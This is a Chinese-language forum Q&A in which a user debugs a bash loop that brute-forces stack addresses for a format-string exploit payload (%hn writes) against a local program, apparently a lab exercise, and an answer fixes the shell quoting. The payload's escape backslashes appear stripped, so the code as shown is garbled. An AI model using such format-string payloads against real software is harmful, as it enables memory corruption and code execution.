Shell脚本十六进制计数器



我的shell脚本有一些问题:

我想用不同类型的字符串运行我的程序m4,我写了这个脚本:

#!/bin/bash
for number in $( seq 16 253 )
  do
    num=$((number+2))
    hex_base=$( printf "%X" ${number} )
    hex_offset=$( printf "%X" ${num} )
    ./m4 "`python -c 'print "x66x66x${hex_offset}xedxffxbfx${hex_base}xedxffxbf%49135c%88$hn%14153c%89$hn"'`"
done

它以十六进制计数从10到FD,并将这些值放入我的字符串中。出现以下错误:

ValueError: invalid x escape

第一个问题:这是一个真正的错误还是只是一个警告?第二个问题:为什么如果所有的值都是由你应该在字符串中看到的地址中的两个字符组成,错误却出现了?

当您将hex_base从单引号中取出时应该可以工作:

./m4 "`python -c 'print "x66x66x'${hex_offset}'xedxffxbfx'${hex_base}'xedxffxbf%49135c%88$hn%14153c%89$hn"'`"

最新更新